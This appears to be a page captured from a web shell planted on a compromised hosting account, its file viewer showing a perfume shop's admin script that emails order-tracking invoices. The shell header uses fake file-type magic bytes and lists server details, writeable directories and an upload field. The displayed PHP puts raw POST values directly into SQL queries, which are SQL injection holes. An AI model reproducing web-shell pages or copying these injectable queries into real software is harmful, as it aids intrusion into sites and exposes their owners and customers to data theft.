%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/admin/manage_order/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/admin/manage_order/tracking_order.php
<?php
include "../config.php";
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';


$email_config=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM email_setting WHERE id=1"));
$smtp_host=$email_config['host'];
$smtp_port=$email_config['port'];
$smtp_username=$email_config['email'];
$smtp_password=$email_config['password'];


$order_id = $_POST['order_id'];
$tracking_number = $_POST['tracking_number'];
$email = $_POST['email'];

$orderData=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM order_tbl WHERE id=$order_id"));
$orderDtl=mysqli_query($conn,"SELECT * FROM order_dtl_tbl WHERE order_id=$order_id");

//Email Templates
$emailTemp='<!DOCTYPE html>
<html>
<head>
    <title>Fragranza Invoice</title>
</head>
<body style="background-color: #eee;">
    <div class="invoice" style="width: 800px;margin:auto;background-color:#fff;box-shadow: 0px 0px 5px rgb(0 0 0 / 30%);padding: 50px;">
        <div class="logo" style="height:46px; text-align: center; margin-top:20px">
            <img src="https://www.renierperfumes.com/img/logorpgris.png" style="width:100px; margin-top:20px">
        </div>
       
          <div class="row">
            <address style="text-align:right;padding-right: 20px;">
                FRAGRANZA PRO <br>
                s.r.o. ICO : 28175751<br>
               DIC: CZ8175751 <br>
                Hermanova 597/61 Praha<br>
                
            </address>
        </div>

         <div class="row">
            <address style="padding-left:30px;">
                 Name: Mohit <br>
                 Invoice no: '.$orderData['invoice_id'].'  <br>
                Address :dvbdvvd <br>
                 Order Date: '.$orderData['order_date'].'<br>
                 Tracking no: '.$orderData['tracking_number'].'  <br>
                
            </address>
        </div>

        <table cellspacing="0" style="width:90%;text-align: center;border: 1px solid #000;margin:20px;margin-bottom:30px;">
        ';
            $emailTemp.='
            <tr>
                <td style="border: 1px solid #000;"><strong>Sno</strong></td>
                <td style="border: 1px solid #000;"><strong>Product Name:</strong></td>
                <td style="border: 1px solid #000;"><strong>Qty:</strong></td>
                 <td style="border: 1px solid #000;"><strong>Price:</strong></td>
                <td style="border: 1px solid #000;"><strong>Amount</strong></td>
            </tr>';

$subtotal=0;
$n = 1;
while($row=mysqli_fetch_array($orderDtl)){
$amount=$row['product_qty']*$row['product_price'];
$subtotal += $amount;
$emailTemp.='

            <tr>
            <td style="border: 1px solid #000;">'.$n++.'</td>
            <td style="border: 1px solid #000;">'.$row['product_name'].'</td>
            <td style="border: 1px solid #000;">'.$row['product_qty'].'</td>
            <td style="border: 1px solid #000;">'.$orderData['currency'].' '.$row['product_price'].'</td>
            <td style="border: 1px solid #000;">'.$orderData['currency'].' '.$row['total_amount'].'</td>
            </tr>
';
}
$emailTemp.='
       </table>

        <table cellspacing="0" style="width:180px;float:right;margin-left:408px; padding-right:90px;">
            <tr>
                <td style="border: 1px solid #000;padding-left: 20px;"><strong>Sub Total: '.$orderData['currency'].' '.$subtotal.'</strong></td>
            </tr>
             <tr>
                <td style="border: 1px solid #000;padding-left:20px; color:red">Discount: '.$orderData['currency'].' '.$orderData['total_discount'].'</td>
            </tr>
            <tr>
                <td style="border: 1px solid #000;padding-left: 20px;">Shipping: '.$orderData['currency'].' '.$orderData['total_shipping'].'</td>
            </tr>
            <tr>
                <td style="border: 1px solid #000;padding-left: 20px;">Total: '.$orderData['currency'].' '.$orderData['total_amount'].'</td>
            </tr>
        </table>
         
       

        <div style="clear:both;"></div>

        <div class="row" style="text-align: center;">
            <hr style="padding-bottom: 50px;
                width: 600px;
                border-top: 2px solid;
                border-right: none;border-left: none;border-bottom: none; margin-top: 30px ">
        </div>

    </div>
</body>
</html>';







$mail = new PHPMailer(true);
// $mail->SMTPDebug = 2;
$mail->isSMTP();                                           
$mail->Host       = ''.$smtp_host.'';                     
$mail->SMTPAuth   = true;                                   
$mail->Username   = ''.$smtp_username.'';                    
$mail->Password   = ''.$smtp_password.'';                             
$mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            
$mail->Port       = $smtp_port;                                    
$mail->setFrom($smtp_username, 'Fragranza');
$mail->addAddress($email);         
$mail->isHTML(true); 
$mail->CharSet = 'UTF-8';
$mail->Encoding = 'base64';
$mail->Subject = 'Fragranza:Tracking Order';
$mail->Body    = $emailTemp;


if($mail->send()){
$addQry=mysqli_query($conn,"UPDATE `order_tbl` SET 
`tracking_number`='$tracking_number' WHERE id='$order_id'")or die(mysqli_error($conn));    
if($addQry){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert"><strong>Thanks!</strong> Enquiry saved successful.<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>';
}else{
	echo '<p style="color:#dc3545;">Something went wrong with following details </p>'; 
}
}else{
	echo '<p style="color:#dc3545;">Something went wrong with following details </p>'; 
}


 





?>

VaKeR 2022